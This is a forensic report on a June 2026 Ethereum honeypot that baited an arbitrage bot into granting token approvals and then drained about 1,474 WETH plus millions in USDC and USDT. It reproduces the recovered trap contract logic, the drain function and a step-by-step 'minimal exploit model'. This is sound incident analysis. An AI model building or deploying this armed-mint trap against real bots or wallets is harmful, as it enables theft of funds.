Approval-drain honeypot report: tx 0x2be8704f5a59b69e0b71f64aefdb99eb0e8ae9fb3926147c581910d71bcf3e65
Prepared: 2026-06-21
Evidence: local archive reth RPC traces, historical calls/storage reads, runtime bytecode snapshots, and the Etherscan transaction page.
Executive summary
This was an ERC-20 allowance drain against token owner / bot contract 0x1f2f10d1c40777ae1da742455c65828ff36df387.
The final transaction was not a swap. The coordinator contract 0xb84db016324e8f2bfdd8dd9c260338aee0a8df52 called withdraw(address) on 66 child contracts. Each child checked the victim contract's real-token balance and its own allowance, then transferred the available amount to attacker recipient 0x3e37f4a10d771ba9de44b6d301410b1bedea65d0.
Final assets moved:
| Token | Transfers | Amount |
|---|---|---|
| WETH | 16 | 1,474.582523004994977792 |
| USDC | 20 | 2,870,573.127680 |
| USDT | 14 | 2,035,760.155871 |
The setup was a tailored bait route. The bot EOA 0xae2fc483527b8ef99eb5d9b44875f005ba1fae13 called its own bot contract, which approved attacker-controlled child contracts to spend real WETH, USDC, and USDT. The route paid small real-token profits, but in the large batches the approvals were not consumed. They stayed live until the drain.
The trick was a block-armed mode switch. The same child contract behaved like a principal-consuming wrapper when unarmed, but like a fake mint when armed for the current block. The bot saw positive PnL; the attacker kept the residual allowance.
Key addresses
| Role | Address |
|---|---|
| Bot operator EOA | 0xae2fc483527b8ef99eb5d9b44875f005ba1fae13 |
| Token owner / bot contract | 0x1f2f10d1c40777ae1da742455c65828ff36df387 |
| Drain tx sender | 0x5af38735b215b00aa7c9f93fed7ee415cecb36e1 |
| Coordinator | 0xb84db016324e8f2bfdd8dd9c260338aee0a8df52 |
| Trigger / batch updater | 0x4de8c729a064ff6087cc84a4152969349e4feb98 |
| Attacker recipient / owner | 0x3e37f4a10d771ba9de44b6d301410b1bedea65d0 |
| Block coinbase paid by drain tx | 0xfb74767c1ce1aada0a0e114441173b57f8c1571b |
| EIP-7702 delegate for recipient | 0x63c0c19a282a1b52b07dd5a65b58948a07dae32b |
Real tokens:
| Token | Address |
|---|---|
| USDC | 0xa0b86991c6218b36c1d19d4a2e9eb0ce3606eb48 |
| USDT | 0xdac17f958d2ee523a2206206994597c13d831ec7 |
| WETH | 0xc02aaa39b223fe8d0a0e5c4f27ead9083c756cc2 |
Timeline
| Time UTC | Block | Event |
|---|---|---|
| 2026-06-20 18:29:47 | 25360599 |
Large USDC bait, armed |
| 2026-06-20 18:29:59 | 25360600 |
Small USDC bait, unarmed |
| 2026-06-20 18:43:23 | 25360667 |
Large USDT bait, armed |
| 2026-06-20 18:43:35 | 25360668 |
Small USDT bait, unarmed |
| 2026-06-20 18:47:47 | 25360689 |
Large WETH bait, armed |
| 2026-06-20 18:47:59 | 25360690 |
Small WETH bait, unarmed |
| 2026-06-20 18:49:11 | 25360696 |
Drain |
The setup calldata selectors encoded the target token family:
| Family | Selector | Token address prefix |
|---|---|---|
| USDC | 0x2bd0a0b8 |
0xa0b86991c6218b36c1d19d4a2e9eb0ce3606eb48 |
| USDT | 0x2bd0dac1 |
0xdac17f958d2ee523a2206206994597c13d831ec7 |
| WETH | 0x2bd0c02a |
0xc02aaa39b223fe8d0a0e5c4f27ead9083c756cc2 |
Bait transactions
The setup transactions paid the bot real-token profit while creating the approvals that later enabled the drain.
| Tx | Setup | Real-token delta to bot contract | Direct approvals created | Approvals live before drain |
|---|---|---|---|---|
0xf570bdf2c44760e5a6d8879c4244c9225cac7e9772e7bbb585b1522bd0519356 |
USDC large | +36.997120 USDC |
20 | 20 |
0x4256c6cb2cefe31a835869cbca5b1d8068a3d1acab71c17e76d41773264bea5f |
USDC small | +3.699200 USDC |
2 | 0 |
0x51a1aafacac4c30de964a44aa593e2bced9a000950fba0731d7c889f9470e14d |
USDT large | +37.053440 USDT |
20 | 20 |
0xaae9362662a94b822d9209c437dd78fcff0c50fd0fc275f13778fbd1e5cbfd02 |
USDT small | +3.704832 USDT |
2 | 0 |
0xa2c9d0a13cc985e3fe445ad8d8bc2d156eec2580b8b6700ab057f5f1f881de3f |
WETH large | +0.017908845393215488 WETH, +0.048554 USDC |
16 | 16 |
0xac87c816e765514f81821c8c0d32e0fd7c57271b13c0236f57742a96e8f746a5 |
WETH small | +0.006722414092222464 WETH |
6 | 0 |
Live allowances immediately before the drain, at block 25360695:
| Token | Live allowances | Amount per allowance |
|---|---|---|
| USDC | 20 | 143,528.656384 |
| USDT | 20 | 149,488.051712 |
| WETH | 16 | 92.161407687812186112 |
The small batches consumed their approvals in the same transaction. The large batches left dangling approvals.
Contract family
The honeypot was a coordinated contract family:
| Role | Example address | Purpose |
|---|---|---|
| Coordinator | 0xb84db016324e8f2bfdd8dd9c260338aee0a8df52 |
Block arm, scratch state, final drain loop |
| Trigger / batch updater | 0x4de8c729a064ff6087cc84a4152969349e4feb98 |
Same-block fake-market setup |
| Child / fake token / spender | 0x74d3c4534178d72f16bd6663f69a7b8487f7882a |
ERC-20-looking fake token, real-token spender, drain primitive |
| Hub fake token | 0xd370f4e528d83f9941ff2803685552660af7c238 |
Pays real-token profit and settles principal in unarmed mode |
| Ring V2 pair | 0xa21742e31edbd26447c053d5b9c7b02b6954fb63 |
UniswapV2-like fake pair |
| Fake intermediate token | 0xda54cc9a582180736ef9f25d9b19b0499ba03758 |
Fake path asset branded as fCAP / Caps |
Representative runtime sizes:
| Contract | Runtime size |
|---|---|
| Coordinator | 2,537 bytes |
| Child / fake token / spender | 7,303 bytes |
| Hub fake token | 6,795 bytes |
| Trigger / batch updater | 12,102 bytes |
| Sample Ring V2 pair | 11,270 bytes |
The child and hub contracts are Solidity 0.6.6 ERC-20/Ownable-style contracts with extra private functions. The pair contracts are Solidity 0.5.16 UniswapV2-like contracts branded as Ring V2.
Coordinator mechanics
Key coordinator storage:
| Slot | Meaning |
|---|---|
0 |
owner / attacker recipient: 0x3e37f4a10d771ba9de44b6d301410b1bedea65d0 |
1 |
armed block number |
2 |
current amount |
3 |
packed state: low 160 bits are current child; byte above address is a boolean flag |
Key selectors:
| Selector | Recovered behavior |
|---|---|
0xb6e808af |
Arm current block, store block.number, forward msg.value to block.coinbase |
0x4e69d560 |
Return block.number == armedBlock |
0x086f6f56 |
Set current amount |
0x4fbb30ed |
Return current amount |
0x92bf5e86 |
Set current child |
0x7bd215b5 |
Return current child |
0x0f15f4c0 |
Return packed flag |
0xc269a509 |
Drain loop: call child withdraw(address) for each supplied child |
The attacker armed the coordinator before each large bait setup:
| Block | Tx index | Tx | Value |
|---|---|---|---|
25360599 |
1 | 0x60d8a32552bf296de98f1130a0fdaa463ada55d33f0e48158b05c35e6ff1de04 |
0.025 ETH |
25360667 |
0 | 0xa65d4ba9c4ec0cd484f4f4650b2425894ad6ee5866b3c990e685f9293dc69b9a |
0.025 ETH |
25360689 |
0 | 0x1a255c6da5e79cefcda9b08ad258bc59cd1ff16e2a86ad72617dca0b713d2b77 |
0.025 ETH |
Each arm transaction forwarded the ETH to that block's coinbase.
Child spender mechanics
Representative child: 0x74d3c4534178d72f16bd6663f69a7b8487f7882a.
Important storage:
| Slot | Meaning |
|---|---|
0 |
owner / drain recipient: 0x3e37f4a10d771ba9de44b6d301410b1bedea65d0 |
1 |
packed name: USD Coin |
2 |
packed symbol: fUSDC |
3 |
decimals: 6 |
4 |
fake ERC-20 total supply |
5 |
fake ERC-20 balances mapping |
6 |
fake ERC-20 allowances mapping |
7 |
real token: USDC in this sample |
10 |
coordinator: 0xb84db016324e8f2bfdd8dd9c260338aee0a8df52 |
11 |
bot EOA: 0xae2fc483527b8ef99eb5d9b44875f005ba1fae13 |
Key selectors:
| Selector | Recovered behavior |
|---|---|
0x26599850 |
Setup primitive, recovered as wrapOrMint(uint256 amount, address pair) |
0x51cff8d9 |
Drain primitive, recovered as withdraw(address tokenOwner) |
| Standard ERC-20 selectors | name, symbol, decimals, balanceOf, transfer, transferFrom, approve, allowance |
The setup primitive changes behavior based on the coordinator arm.
Armed mode:
require(amount > 0);
require(coordinator.isArmed());
coordinator.setChild(address(this));
coordinator.setAmount(amount);
_balances[pair] += amount; // fake token mint directly to pair
return amount;
Unarmed mode:
require(amount > 0);
realToken.transferFrom(msg.sender, address(this), amount);
_balances[pair] += amount;
return amount;
This is the core trap:
- In armed large batches, the bot approved real USDC/USDT/WETH to the child, but the child did not pull the real token. It minted fake token balance to the pair, so the real allowance remained live.
- In unarmed small batches, the child did pull real token from the bot, so the approval was consumed inside the setup transaction.
The drain primitive is simple:
require(msg.sender == coordinator || tx.origin == owner);
uint256 bal = realToken.balanceOf(tokenOwner);
uint256 allow = realToken.allowance(tokenOwner, address(this));
if (bal != 0 && allow != 0) {
uint256 amount = bal < allow ? bal : allow;
realToken.transferFrom(tokenOwner, owner, amount);
}
Here owner is 0x3e37f4a10d771ba9de44b6d301410b1bedea65d0.
Hub and trigger mechanics
The hub fake token 0xd370f4e528d83f9941ff2803685552660af7c238 made the bait route appear profitable by paying real-token output.
For a representative large USDC leg:
| Field | Value |
|---|---|
| Coordinator amount | 143,528.656384 USDC |
| Hub fake-token amount received by bot path | 143,530.506240 |
| Real USDC paid by hub to bot | 1.849856 USDC |
| Child real USDC balance after armed mint | 0 |
For a small USDC leg, the coordinator was not armed. The child first pulled real USDC from the bot, the hub paid apparent output, and then the hub pulled principal back from the child. Profit was paid, but the approval was consumed.
The trigger contract prepared fake pair reserves. In the large USDC setup block, tx 0xdb0534695fe0f9768bf22f637867414d2633833b73c41368e389fc684dd2e724 was index 2, immediately before the bot setup tx at index 3.
That trigger call supplied 22 second-leg pair addresses, one hub token, one input amount, and one output amount. For each supplied pair, it performed:
hub.transferFrom(0x3e37f4a10d771ba9de44b6d301410b1bedea65d0, pair, inputAmount);
pair.swap(0, outputAmount, 0x3e37f4a10d771ba9de44b6d301410b1bedea65d0, "");
Concrete trace example:
hub.transferFrom(0x3e37f4a10d771ba9de44b6d301410b1bedea65d0, 0x9ee8a76ebbda5da7f5f01728606dbb8b17b0a63f, 72698192454379)
0x9ee8a76ebbda5da7f5f01728606dbb8b17b0a63f.swap(0, 72262088173417, 0x3e37f4a10d771ba9de44b6d301410b1bedea65d0, "")
Same-block bait sequence
Large USDC block ordering:
| Tx index | Actor | Tx | Action |
|---|---|---|---|
| 1 | attacker sender 0x5af38735b215b00aa7c9f93fed7ee415cecb36e1 |
0x60d8a32552bf296de98f1130a0fdaa463ada55d33f0e48158b05c35e6ff1de04 |
Arm coordinator for block 25360599, pay 0.025 ETH to coinbase |
| 2 | attacker owner 0x3e37f4a10d771ba9de44b6d301410b1bedea65d0 |
0xdb0534695fe0f9768bf22f637867414d2633833b73c41368e389fc684dd2e724 |
Trigger fake-pair reserve updates |
| 3 | bot EOA 0xae2fc483527b8ef99eb5d9b44875f005ba1fae13 |
0xf570bdf2c44760e5a6d8879c4244c9225cac7e9772e7bbb585b1522bd0519356 |
Execute apparent USDC arb; create 20 live USDC approvals |
Representative USDC bait leg inside the bot tx:
- Bot contract approved real USDC to child/spender
0x74d3c4534178d72f16bd6663f69a7b8487f7882afor143,528.656384 USDC. - Bot contract called child selector
0x26599850. - Bot contract called
swap(uint256,uint256,address,bytes)on Ring V2 pair0xa21742e31edbd26447c053d5b9c7b02b6954fb63. - That pair sent fake intermediate token
0xda54cc9a582180736ef9f25d9b19b0499ba03758to second Ring V2 pair0xeb5b9b2cb7836b1534e8542fc338e90757993a38. - The second pair sent hub token
0xd370f4e528d83f9941ff2803685552660af7c238to the bot contract. - The hub paid the bot real USDC profit.
- Because the coordinator was armed, the child did not pull the real USDC principal. The approval remained.
Drain transaction mechanics
Target transaction:
| Field | Value |
|---|---|
| Hash | 0x2be8704f5a59b69e0b71f64aefdb99eb0e8ae9fb3926147c581910d71bcf3e65 |
| Block | 25360696 |
| Timestamp | 2026-06-20 18:49:11 UTC |
| From | 0x5af38735b215b00aa7c9f93fed7ee415cecb36e1 |
| To | 0xb84db016324e8f2bfdd8dd9c260338aee0a8df52 |
| Value | 0.01 ETH |
| Gas used | 1,378,524 |
| Input selector | 0xc269a509 |
The calldata contained:
address[]with 66 child contracts.addressowner/victim:0x1f2f10d1c40777ae1da742455c65828ff36df387.
For each child:
child.withdraw(0x1f2f10d1c40777ae1da742455c65828ff36df387)
token.transferFrom(0x1f2f10d1c40777ae1da742455c65828ff36df387, 0x3e37f4a10d771ba9de44b6d301410b1bedea65d0, min(balance, allowance))
Post-drain state:
| Token | Result |
|---|---|
| USDC | All 20 large-batch allowances consumed to zero |
| WETH | All 16 large-batch allowances consumed to zero |
| USDT | 14 transfers drained available balance; 6 full allowances and 1 partial allowance remained nonzero, but the owner no longer had enough USDT balance for them to matter immediately |
After the token transfers, the coordinator forwarded the 0.01 ETH tx value to coinbase 0xfb74767c1ce1aada0a0e114441173b57f8c1571b.
What the bot saw
The bot saw executable, profitable fake-DEX arbitrage:
- A same-block transaction changed reserves on many UniswapV2-like
Ring V2pairs. - The involved contracts exposed plausible token metadata:
fUSDC,USD Coin,fCAP,Caps, and 6 decimals. - Similar small setup transactions behaved like normal approval-then-pull flows and consumed approvals.
- The large setup route simulated and executed with positive real-token PnL.
- The bot's transaction really did receive real USDC, USDT, and WETH profit.
The hidden state was not in immediate PnL. It was in post-state allowance:
realToken.allowance(0x1f2f10d1c40777ae1da742455c65828ff36df387, child) > 0
for high-value, attacker-controlled USDC, USDT, and WETH child spenders.
Minimal exploit model
// 1. Attacker arms current block.
coordinator.armCurrentBlock{value: bribe}();
// 2. Attacker mutates fake pair reserves so a searcher finds a route.
trigger.updatePairs(pairList, hubToken, inputAmount, outputAmount);
// 3. Bot executes the apparent route.
realToken.approve(child, amount);
child.wrapOrMint(amount, pair1); // armed mode: mint fake token, do not pull real token
pair1.swap(amount0Out, amount1Out, pair2, data);
pair2.swap(amount0Out, amount1Out, botContract, data);
hub.settle(received); // pays small real profit
// 4. Later, attacker consumes the leftover approval.
child.withdraw(botContract);
The sophistication is in the stateful mode switch. The same fake-token family can act like a normal principal-consuming wrapper when unarmed, and like a non-consuming fake mint when armed. That gives the bot successful executions and real profit while leaving dangerous approvals behind for the later sweep.